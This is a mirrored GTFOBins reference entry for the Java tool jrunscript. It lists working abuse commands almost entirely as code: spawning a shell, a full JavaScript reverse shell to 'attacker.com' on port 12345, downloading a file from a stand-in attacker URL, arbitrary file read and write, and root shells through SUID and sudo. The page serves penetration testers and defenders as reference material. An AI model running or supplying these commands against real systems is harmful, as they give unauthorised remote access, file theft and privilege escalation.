mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
39 lines
1.8 KiB
Markdown
39 lines
1.8 KiB
Markdown
---
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description: This tool is installed starting with Java SE 6.
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functions:
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shell:
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- code: jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
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reverse-shell:
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- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
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code: |
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export RHOST=attacker.com
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export RPORT=12345
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jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"';
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var p=new java.lang.ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
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var s=new java.net.Socket(host,port);
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var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
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var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
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while(pi.available()>0)so.write(pi.read());
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while(pe.available()>0)so.write(pe.read());
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while(si.available()>0)po.write(si.read());
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so.flush();po.flush();
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java.lang.Thread.sleep(50);
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try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
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file-download:
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- description: Fetch a remote file via HTTP GET request.
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code: |
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URL=http://attacker.com/file_to_get
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LFILE=file_to_save
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jrunscript -e "cp('$URL','$LFILE')"
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file-write:
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- code: jrunscript -e 'var fw=new java.io.FileWriter("./file_to_write"); fw.write("DATA"); fw.close();'
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file-read:
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- code: jrunscript -e 'br = new BufferedReader(new java.io.FileReader("file_to_read"));
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while ((line = br.readLine()) != null) { print(line); }'
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suid:
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- description: This has been found working in macOS but failing on Linux systems.
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code: ./jrunscript -e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')"
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sudo:
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- code: sudo jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
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---
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